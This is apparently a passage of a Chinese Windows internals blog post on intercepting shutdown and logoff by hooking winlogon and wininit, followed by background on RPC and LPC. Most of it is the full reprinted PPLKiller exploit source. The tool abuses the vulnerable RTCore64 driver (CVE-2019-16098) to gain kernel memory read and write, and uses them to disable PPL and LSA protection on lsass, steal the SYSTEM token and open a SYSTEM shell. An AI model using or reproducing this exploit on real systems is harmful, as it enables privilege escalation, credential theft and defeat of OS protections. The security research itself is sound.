DWORD WINAPI HookedInitiateShutdownW(_In_opt_   LPWSTR lpMachineName,_In_opt_   LPWSTR lpMessage,_In_       DWORD  dwGracePeriod,_In_       DWORD  dwShutdownFlags,_In_       DWORD  dwReason
)
{WCHAR lpMsg[] = L"正在取消关闭/注销/重启计算机的任务计划,请稍后......";WCHAR lpCap[] = L"Windows LogonManager";DWORD Result = 0;BOOL IsKilled = FALSE;// 发出阻滞对话框SvcMessageBox(lpCap, lpMsg, MB_OK | MB_APPLMODAL | MB_ICONINFORMATION, TRUE, Result);// 尝试结束进程if(lpProcessHandle != INVALID_HANDLE_VALUE)IsKilled = TerminateProcess(lpProcessHandle, 0);if(!IsKilled){KillLogonUIProcess();// 后手,如果前面失败就这个}return ERROR_INVALID_PARAMETER;
}
3.4.4 拦截强制关机/重启(WinXP/Win 7/ 8)

强制关机/重启时,winlogon.exe 不会立即处理,而是由 wininit.exe 进程首先进行处理。wininit.exe 进程通过 NtShutdownSystem 函数部署关机/重启例程,我们只需要再注入 WinInit 过程并挂钩该函数即可。

NtShutdownSystem 函数是无文档函数,它的定义如下:

typedef enum _SHUTDOWN_ACTION
{ShutdownNoReboot,ShutdownReboot,ShutdownPowerOff
} SHUTDOWN_ACTION, * PSHUTDOWN_ACTION;typedef NTSTATUS (NTAPI* __NtShutdownSystem)(SHUTDOWN_ACTION dwAction
);

我们只需要在钩子函数中,返回 STATUS_INVALID_PARAMETER 而不做任何操作即可。

NTSTATUS NTAPI HookedNtShutdownSystem(SHUTDOWN_ACTION dwAction
)
{return STATUS_INVALID_PARAMETER;
}
3.4.5  拦截强制关机/重启(Win 10)

想要在 Win10 上注入 Wininit 进程不是一件容易的事情。 

WindowsVista 版本引入一种进程保护机制 (Process Protection),用于更进一步的控制进程的访问级别,在此之前,用户只需要使用 SeDebugPrivilege 令牌权限即可获取任意进程的所有访问权限;随后 Windows 8.1 在此进程保护的基础上,扩展引入了进程保护-轻量级机制 (Protected Process Light),简称 PPL 机制,其能提供更加细粒度化的进程访问权限控制。

关于进程保护机制的更为详细的介绍和研究可以看 itm4n 大佬的系列文章:

1.Do You Really Know About LSA Protection (RunAsPPL)?---- Posted Apr 7, 2021;

2.Bypassing LSA Protection in Userland ---- Posted Apr 22, 2021;

3.The End of PPLdump ---- Posted Jul 24, 2022;

4.Debugging Protected Processes ---- Posted Dec 4, 2022;

5.Bypassing PPL in Userland (again) ---- Posted Mar 17, 2023  Updated Jul 24, 2023.

文章最早从 LSA (lsass)进程的保护机制开始谈起,最后衍生到 Red Cursor 团队开发的 PPLKiller的技术分析,具体的限于篇幅和权限,这里就不再详细叙述。

下面是 PPLKiller(RedCursor) 的部分 POC 代码:

// CODE FROM
// https://github.com/Barakat/CVE-2019-16098
// https://github.com/gentilkiwi/mimikatz
// https://github.com/TarlogicSecurity/EoPLoadDriver/#include <Windows.h>
#include <aclapi.h>
#include <tlhelp32.h>
#include <Psapi.h>
#include <cstdio>#include <Shlobj.h>
#include <Shlobj_core.h>
#include <string_view>#include "resource.h"
#include "loaddriver.h"#define AUTHOR L"@aceb0nd"
#define VERSION L"0.3"#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError()))
#endif// Micro-Star MSI Afterburner driver arbitrary read and write primitive
// These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code.struct RTCORE64_MSR_READ {DWORD Register;DWORD ValueHigh;DWORD ValueLow;
};
static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");struct RTCORE64_MEMORY_READ {BYTE Pad0[8];DWORD64 Address;BYTE Pad1[8];DWORD ReadSize;DWORD Value;BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");struct RTCORE64_MEMORY_WRITE {BYTE Pad0[8];DWORD64 Address;BYTE Pad1[8];DWORD ReadSize;DWORD Value;BYTE Pad3[16];
};
static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {RTCORE64_MEMORY_READ MemoryRead{};MemoryRead.Address = Address;MemoryRead.ReadSize = Size;DWORD BytesReturned;if (!DeviceIoControl(Device,RTCORE64_MEMORY_READ_CODE,&MemoryRead,sizeof(MemoryRead),&MemoryRead,sizeof(MemoryRead),&BytesReturned,nullptr));{PRINT_ERROR_AUTO("DeviceIoControlFailed");system("pause");MessageBoxW(NULL, L"SS", L"SDDD", MB_OK);exit(0);//return FALSE;}return MemoryRead.Value;
}void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {RTCORE64_MEMORY_READ MemoryRead{};MemoryRead.Address = Address;MemoryRead.ReadSize = Size;MemoryRead.Value = Value;DWORD BytesReturned;if (!DeviceIoControl(Device,RTCORE64_MEMORY_WRITE_CODE,&MemoryRead,sizeof(MemoryRead),&MemoryRead,sizeof(MemoryRead),&BytesReturned,nullptr)){PRINT_ERROR_AUTO("DeviceIoControlFailed");system("pause");MessageBoxW(NULL, L"SS", L"SDDD", MB_OK);exit(0);}}WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {return ReadMemoryPrimitive(Device, 4, Address);
}DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}// END driver comms code
// START Mimikatz driver install/uninstall codeBOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) {BOOL status = FALSE;DWORD dwSizeNeeded;PSECURITY_DESCRIPTOR oldSd, newSd;SECURITY_DESCRIPTOR dummySdForXP;SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;EXPLICIT_ACCESS ForEveryOne = {SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,SET_ACCESS,NO_INHERITANCE,{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}};if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) {if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) {if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd);LocalFree(newSd);}FreeSid(ForEveryOne.Trustee.ptstrName);}}LocalFree(oldSd);}}return status;
}DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {BOOL status = FALSE;SC_HANDLE hSC = NULL, hS = NULL;if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) {if (hS = OpenService(hSC, serviceName, SERVICE_START)) {wprintf(L"[+] \'%s\' service already registered\n", serviceName);}else {if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {wprintf(L"[*] \'%s\' service not present\n", serviceName);if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) {wprintf(L"[+] \'%s\' service successfully registered\n", serviceName);if (status = kull_m_service_addWorldToSD(hS))wprintf(L"[+] \'%s\' service ACL to everyone\n", serviceName);else printf("kull_m_service_addWorldToSD");}else PRINT_ERROR_AUTO(L"CreateService");}else PRINT_ERROR_AUTO(L"OpenService");}if (hS) {if (startIt) {if (status = StartService(hS, 0, NULL))wprintf(L"[+] \'%s\' service started\n", serviceName);else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)wprintf(L"[*] \'%s\' service already started\n", serviceName);else {PRINT_ERROR_AUTO(L"StartService");}}CloseServiceHandle(hS);}CloseServiceHandle(hSC);}else {PRINT_ERROR_AUTO(L"OpenSCManager(create)");return GetLastError();}return 0;
}BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {BOOL status = FALSE;SC_HANDLE hSC, hS;SERVICE_STATUS serviceStatus;if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) {status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);CloseServiceHandle(hS);}CloseServiceHandle(hSC);}return status;
}BOOL service_uninstall(PCWSTR serviceName) {if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {wprintf(L"[+] \'%s\' service stopped\n", serviceName);}else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {wprintf(L"[*] \'%s\' service not running\n", serviceName);}else {PRINT_ERROR_AUTO(L"kull_m_service_stop");return FALSE;}if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) {if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) {BOOL status = DeleteService(hS);CloseServiceHandle(hS);}CloseServiceHandle(hSC);}return TRUE;
}// END Mimikatz codevoid Log(const char* Message, ...) {const auto file = stderr;va_list Args;va_start(Args, Message);std::vfprintf(file, Message, Args);std::fputc('\n', file);va_end(Args);
}unsigned long long getKernelBaseAddr() {DWORD out = 0;DWORD nb = 0;PVOID* base = NULL;if (EnumDeviceDrivers(NULL, 0, &nb)) {base = (PVOID*)malloc(nb);if (EnumDeviceDrivers(base, nb, &out)) {return (unsigned long long)base[0];}}return NULL;
}int processPIDByName(const WCHAR* name) {int pid = 0;// Create a snapshot of currently running processesHANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);// Some error handling in case we failed to get a snapshot of running processesif (snap == INVALID_HANDLE_VALUE) {PRINT_ERROR_AUTO(L"processPIDByName");return 0;}// Declare a PROCESSENTRY32 classPROCESSENTRY32 pe32;// Set the size of the structure before using it.pe32.dwSize = sizeof(PROCESSENTRY32);// Retrieve information about the first process and exit if unsuccessfulif (!Process32First(snap, &pe32)) {PRINT_ERROR_AUTO(L"processPIDByName");CloseHandle(snap);          // clean the snapshot object}do {if (wcscmp(pe32.szExeFile, name) == 0) {pid = pe32.th32ProcessID;}} while (Process32Next(snap, &pe32));// Clean the snapshot object to prevent resource leakageCloseHandle(snap);return pid;}struct Offsets {DWORD64 UniqueProcessIdOffset;DWORD64 ActiveProcessLinksOffset;DWORD64 TokenOffset;DWORD64 SignatureLevelOffset;
};void disableProtectedProcesses(DWORD targetPID, Offsets offsets) {const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);if (Device == INVALID_HANDLE_VALUE) {Log("[!] Unable to obtain a handle to the device object");return;}Log("[*] Device object handle has been obtained");const auto NtoskrnlBaseAddress = getKernelBaseAddr();Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);// Locating PsInitialSystemProcess addressHMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);system("pause");printf("s1\n");// Find our process in active process listconst DWORD64 TargetProcessId = static_cast<DWORD64>(targetPID);DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;DWORD64 CurrentProcessAddress = ProcessHead;system("pause");printf("s2\n");do {const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);if (UniqueProcessId == TargetProcessId) {break;}system("pause");printf("s3\n");CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);system("pause");printf("s4\n");} while (CurrentProcessAddress != ProcessHead);CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;Log("[*] Current process address: %p", CurrentProcessAddress);system("pause");printf("s6\n");// Patches 5 values  SignatureLevel, SectionSignatureLevel, Type, Audit, and SignerWriteMemoryPrimitive(Device, 4, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00);// CleanupCloseHandle(Device);
}void makeSYSTEM(DWORD targetPID, Offsets offsets) {const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);if (Device == INVALID_HANDLE_VALUE) {Log("[!] Unable to obtain a handle to the device object");return;}Log("[*] Device object handle has been obtained");const auto NtoskrnlBaseAddress = getKernelBaseAddr();Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress);// Locating PsInitialSystemProcess addressHMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress);// Get token value of System processconst DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15;Log("[*] System process token: %p", SystemProcessToken);// Find our process in active process listconst DWORD64 CurrentProcessId = static_cast<DWORD64>(targetPID);DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset;DWORD64 CurrentProcessAddress = ProcessHead;do {const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset;const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset);if (UniqueProcessId == CurrentProcessId) {break;}CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset);} while (CurrentProcessAddress != ProcessHead);CurrentProcessAddress -= offsets.ActiveProcessLinksOffset;Log("[*] Current process address: %p", CurrentProcessAddress);// Reading current process tokenconst DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset);const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15;const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15;Log("[*] Current process token: %p", CurrentProcessToken);// Stealing System process tokenLog("[*] Stealing System process token ...");WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken);// CleanupCloseHandle(Device);
}void spawnCmd(void) {Log("[*] Spawning new shell ...");STARTUPINFOW StartupInfo{};StartupInfo.cb = sizeof(StartupInfo);PROCESS_INFORMATION ProcessInformation;CreateProcessW(LR"(C:\Windows\System32\cmd.exe)",nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,&StartupInfo,&ProcessInformation);WaitForSingleObject(ProcessInformation.hProcess, INFINITE);CloseHandle(ProcessInformation.hThread);CloseHandle(ProcessInformation.hProcess);
}struct Offsets getVersionOffsets() {wchar_t value[255] = { 0x00 };DWORD BufferSize = 255;RegGetValue(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize);wprintf(L"[+] Windows Version %s Found\n", value);auto winVer = _wtoi(value);switch (winVer) {case 1607:return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 };case 1803:case 1809:return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 };case 1903:case 1909:return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 };case 2004:case 2009:return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 };default:wprintf(L"[!] Version Offsets Not Found!\n");// Previously this returned an empty struct, which could (would?) cause the OS to crash and burn. Hopefully just an exit is ok.exit(-1);}}int fileExists(TCHAR* file)
{WIN32_FIND_DATA FindFileData;HANDLE handle = FindFirstFile(file, &FindFileData);int found = handle != INVALID_HANDLE_VALUE;if (found){//FindClose(&handle); this will crashFindClose(handle);}return found;
}WCHAR* GetUserLocalTempPath() {//static constexpr std::wstring_view temp_label = L"\\Temp\\";HWND folder_handle = { 0 };WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH);if (temp_path == NULL) {return NULL;}auto get_folder = SHGetFolderPath(folder_handle, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, temp_path);if (get_folder == S_OK) {// const wchar_t driverName[] = L"\\RTCore64.sys";wcscat_s(temp_path, MAX_PATH, L"\\Temp\\RTCore64.sys");//input_parameter = static_cast<const wchar_t*>(temp_path);//input_parameter.append(temp_label);CloseHandle(folder_handle);return temp_path;}return NULL;
}BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) {// Check the pointers to which we want to writeif (ppRes && pdwResSize) {HRSRC hRsrc;// Find the resource ResName of type ResType in the DLL/EXE described by Instanceif (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) {HGLOBAL hGlob;// Make sure it's in memory ...if (hGlob = LoadResource(Instance, hRsrc)) {// Now lock it to get a pointer*ppRes = LockResource(hGlob);// Also retrieve the size of the resource*pdwResSize = SizeofResource(Instance, hRsrc);// Return TRUE only if both succeededreturn (*ppRes && *pdwResSize);}}}// Failure means don't use the values in *ppRes and *pdwResSizereturn FALSE;
}WCHAR* dropDriver() {//get driverLPVOID RTCoreDriver;DWORD driverSize;if (GetResourcePointer(NULL, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {wprintf(L"GetResourcePointer failed\n");return FALSE;}auto tempPath = GetUserLocalTempPath();if (fileExists(tempPath)) {return tempPath;}HANDLE hFile = CreateFile(tempPath,                // name of the writeGENERIC_WRITE,          // open for writing0,                      // do not shareNULL,                   // default securityCREATE_NEW,             // create new file onlyFILE_ATTRIBUTE_NORMAL,  // normal fileNULL);                  // no attr. templateif (hFile == INVALID_HANDLE_VALUE){wprintf(L"Unable to open file \"%s\" for write.\n", tempPath);return NULL;}BOOL bErrorFlag = FALSE;DWORD dwBytesWritten = 0;bErrorFlag = WriteFile(hFile,           // open file handleRTCoreDriver,      // start of data to writedriverSize,  // number of bytes to write&dwBytesWritten, // number of bytes that were writtenNULL);            // no overlapped structureif (FALSE == bErrorFlag){wprintf(L"Terminal failure: Unable to write to file.\n");}else{if (dwBytesWritten != driverSize){// This is an error because a synchronous write that results in// success (WriteFile returns TRUE) should write all data as// requested. This would not necessarily be the case for// asynchronous writes.wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");}else{wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);}}CloseHandle(hFile);return tempPath;}int wmain(int argc, wchar_t* argv[]) {wprintf(L"PPLKiller version %ws by %ws\n", VERSION, AUTHOR);if (argc < 2) {wprintf(L"Usage: %s\n"" [/disablePPL <PID>]\n"" [/disableLSAProtection]\n"" [/makeSYSTEM <PID>]\n"" [/makeSYSTEMcmd]\n"" [/installDriver]\n"" [/uninstallDriver]", argv[0]);return 0;}const auto svcName = L"RTCore64";if (wcscmp(argv[1] + 1, L"disablePPL") == 0 && argc == 3) {Offsets offsets = getVersionOffsets();auto PID = _wtoi(argv[2]);disableProtectedProcesses(PID, offsets);}else if (wcscmp(argv[1] + 1, L"disableLSAProtection") == 0) {Offsets offsets = getVersionOffsets();auto lsassPID = processPIDByName(L"lsass.exe");disableProtectedProcesses(lsassPID, offsets);}else if (wcscmp(argv[1] + 1, L"makeSYSTEM") == 0 && argc == 3) {Offsets offsets = getVersionOffsets();auto PID = _wtoi(argv[2]);makeSYSTEM(PID, offsets);}else if (wcscmp(argv[1] + 1, L"makeSYSTEMcmd") == 0) {Offsets offsets = getVersionOffsets();makeSYSTEM(GetCurrentProcessId(), offsets);spawnCmd();}else if (wcscmp(argv[1] + 1, L"installDriver") == 0) {WCHAR* driverPath = dropDriver();const auto svcDesc = L"Micro-Star MSI Afterburner";if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) {wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");}}else if (wcscmp(argv[1] + 1, L"installDriverSeDebugOnly") == 0) {WCHAR* driverPath = dropDriver();wchar_t key[] = L"System\\CurrentControlSet\\RTCore64";fullsend(key, driverPath);}else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {service_uninstall(svcName);auto tempPath = GetUserLocalTempPath();if (DeleteFile(tempPath) != 0) {wprintf(L"Deleted %s\n", tempPath);}}else {wprintf(L"Error: Check the help\n");}return 0;
}

你可以在这里获取到:PPLKiller(Red Cursor) 它,另外 itm4n 还开发了扩展工具,可以对 PP/PPL 进行任意级别的升/降级,在 Github 就可以获取:PPLcontrol( itm4n ),下面是这个工具的演示。

C:\Temp>PPLcontrol.exe listPID | Level   | Signer-------+---------+----------------4 | PP  (2) | WinSystem (7)108 | PP  (2) | WinSystem (7)392 | PPL (1) | WinTcb (6)520 | PPL (1) | WinTcb (6)600 | PPL (1) | WinTcb (6)608 | PPL (1) | WinTcb (6)756 | PPL (1) | WinTcb (6)2092 | PP  (2) | WinSystem (7)3680 | PPL (1) | Antimalware (3)5840 | PPL (1) | Antimalware (3)7264 | PPL (1) | Windows (5)9508 | PP  (2) | WinTcb (6)1744 | PPL (1) | Windows (5)[+] Enumerated 13 protected processes.

首先添加相同级别的进程保护之前,附加调试进程失败: 

给普通进程添加 PPL

然后,取消保护或者添加相同级别的保护,成功附加调试进程: 

取消 PPL

综上,我们在 Win 10/ 11 上,只有取消进程保护,才可以注入 wininit.exe 进程。Win 10 上可以使用利用 CVE-2019-16098 (签名漏洞移除内核回调),也就是这里 PPLKiller(Red Cursor) 版本,Win 11 上目前只能使用传统的 PPLKiller (Mattiwatti) 利用测试模式加载驱动程序在内核中取消回调,这种方法是相对复杂的,尤其是由 UEFI 安全模式启动的计算机,需要关闭 BIOS 中的安全启动,然后才能开启测试模式。

注意:PPLKiller(Red Cursor) 没有验证 DeviceIoControl 获得的地址是否为 NULL,在 Win 11 上运行会导致触发控制流防护(CFG),而蓝屏。

3.5 注意事项和局限性分析

以上的挂钩方法挂钩的函数较多,并且在 Win 10 / 11 上效果不是太好,Win 10 需要通过微星驱动程序的 I/O Read/Write 漏洞来首先 Bypass PP/PPL 保护,Win 11 由于修复了 DeviceIoControl 这个漏洞滥用 API,我们则必须使用测试模式加载驱动来干掉内核的 PPL 回调。微软推出了 PPL(Protected Process Light) 机制后,向 lsass、wininit 等进程注入代码变得极为困难。此外,过滤系统热键需要通过底层钩子来实现,有些热键依然无法捕获到。这使得我们之前的工作变得荒废。我迫切地需要一个方法来实现更高效的拦截,通过一段时间的研究,我找到了解决问题的一个切入点—— 那就是 RPC 调用,在 Win 10/ Win 11 上,甚至在之前的系统上,RPC 调用才是真正在关机时多进程调度的根源。

四、挂钩 RPC 调用——直接过滤 Winlogon 回调

【提示】该部分属于本人原创转载时,请备注来源。需要注意,该部分涉及部分未公开的内部结构和微软不推荐使用的函数,应用到发布的软件中时,请自行遵守相关要求。

我曾阅读过 heiheiabcd 写的通过修改具体的窗口回调中的操作 ID,将其指向无效的 ID 来拦截系统热键的方法(注:原文已经被删除,原文转载:《禁止Ctrl+Alt+Del、Win+L等任意系统热键》),但是这种方法取决于系统版本,不同的版本由于链接库的地址不同,需要分析新的内部地址,并且向后兼容性比较差,当然作者的分析具有独创性。我属于比较躲懒的人,我一直在想,有没有什么办法能够实现对 Winlogon 的各种操作实现稳定的挂钩,从而拦截我们关注的操作呢?通过一段时间的分析,终于发现了多个利用导出函数进行拦截的路径,其中一种更是可以拦截各种消息。在接下来的文章中,我会简明扼要地介绍这几种方法:

4.1 了解 Winlogon 的 RPC 过程调用

操作系统的很多过程都依赖于 LPC/RPCCOM/DCOM 组件。

下面的介绍摘选自 百度百科 和 MSDN:

进程间通信(IPC)是在多任务操作系统或联网的计算机之间运行的程序和进程所用的通信技术。有两种类型的进程间通信(IPC):

  • 本地过程调用(LPC) LPC 用在多任务操作系统中,使得同时运行的任务能互相会话。这些任务共享内存空间使任务同步和互相发送信息。
  • 远程过程调用(RPC) RPC 类似于 LPC,只是在网上工作。RPC 开始是出现在 Sun 微系统公司和 HP 公司的运行 UNⅨ 操作系统的计算机中。

(一)本地过程调用:

本地过程调用(LPC,Local Procedure Call,通常也被称为轻量过程调用或者本地进程间通信) 是一种由 Windows NT 内核提供的内部进程间通信方式。通过这一方式,同一计算机上的进程可以进行轻量的通信。在 Windows Vista 中,ALPC(Advanced Local Procedure Call,高级本地进程通信)替代了 LPC。ALPC 提供了一个高速可度量的通信机制,这样便于实现需要在用户模式下高速通信的用户模式驱动程序框架(UMDF,User-Mode Driver Framework)。

LPC 由内核的“端口”对象实现,这样可以确保安全(由访问控制表规定持有特定的安全标识符才可以访问)并可以验证链接另一端进程的身份。程序也可以对每一个信息设定安全标识符,并测试对应信息的变化,以实现每一条消息的安全性。
服务端和客户端之间典型的连接由下列过程表示:

  1. 服务端进程建立命名服务器连接端口对象,并等待客户端连接;
  2. 客户端通过向这一端口发送消息来建立连接;
  3. 如果服务端同意建立连接,便会建立两个无名端口:(1)客户端连接端口:客户线程由此向服务端发送数据;(2)服务端连接端口:服务端由此向客户端发送数据;每个客户端都分配一个独立的接口;
  4. 服务端持有一个服务连接端口的句柄,同时客户端也持有一个客户连接端口的句柄,这样进程间通信的通道就建立了。

本地过程调用支持以下三种交换信息的方式:

  1. 针对较短信息(小于256字节):系统内核在进程间直接复制消息,从发送方的地址空间拷贝消息至系统地址空间,之后再将消息拷贝至接收方的地址空间。
  2. 针对较长消息(大于256字节):这需要在发送方和接收方之间建立一个共享内存区域。发送方首先将消息存放在共享内存中,再向接收方发送一个通知(可以通过如上发送短消息的方式实现),之后再由接收方从共享内存中读取这一消息。
  3. 当消息的数据量过大,难以放入共享内存时,服务端可以直接读取和写入客户端的地址空间。

高级本地过程调用(ALPC)拥有比以往的本地过程调用(LPC)更优的性能。因为 LPC 只能通过同步请求/应答机制通信,而 ALPC 还可以使用 IOCP 实现通信。这样,ALPC 就可以在消息数量和进程数量间保持一定平衡,保证了端口的高速通信。此外,ALPC 还允许信息的批量传输,减少了进程在用户模式和内核模式之间的切换次数。

本地过程调用在 Windows NT 及其衍生系统中得到了广泛应用。在 Win32 子系统中,LPC 应用于客户端和子系统服务器之间的通信(CSRSS)。在 Windows NT 3.51 版本中引入了快速 LPC 以提高调用速度。然而由于 NT 4.0 中将部分关键服务端移入内核模式(win32k.sys)以提高系统效能,这一方法已基本被摒弃。
本地安全认证子系统服务(LSASS),会话管理器(SMSS)以及服务控制管理器均使用 LPC 端口和客户进程直接通信。Winlogon 和安全引用监视器与 LSASS 进程之间的通信同样使用了 LPC。
正如前文提到的,当消息在同一计算机内传输时,Microsoft RPC 将调用 LPC 进行通信。许多仅在同一计算机内进行通信的服务采用 LPC 作为唯一的通信方式。远程对象连接与嵌入和分布式组件对象模型的实现也在很多地方使用了 LPC 作为本地通信的方式。

(二)远程过程调用:

如图所示,客户端应用程序调用本地存根过程,而不是实现该过程的实际代码。 存根被编译并与客户端应用程序链接。 客户端存根代码不是包含实现远程过程的实际代码:

  • 从客户端地址空间检索所需的参数。
  • 根据需要将参数转换为标准 NDR 格式,以便通过网络传输。
  • 调用 RPC 客户端运行时库中的函数,将请求及其参数发送到服务器。

服务器执行以下步骤来调用远程过程。

  1. 服务器 RPC 运行时库函数接受请求并调用服务器存根过程。
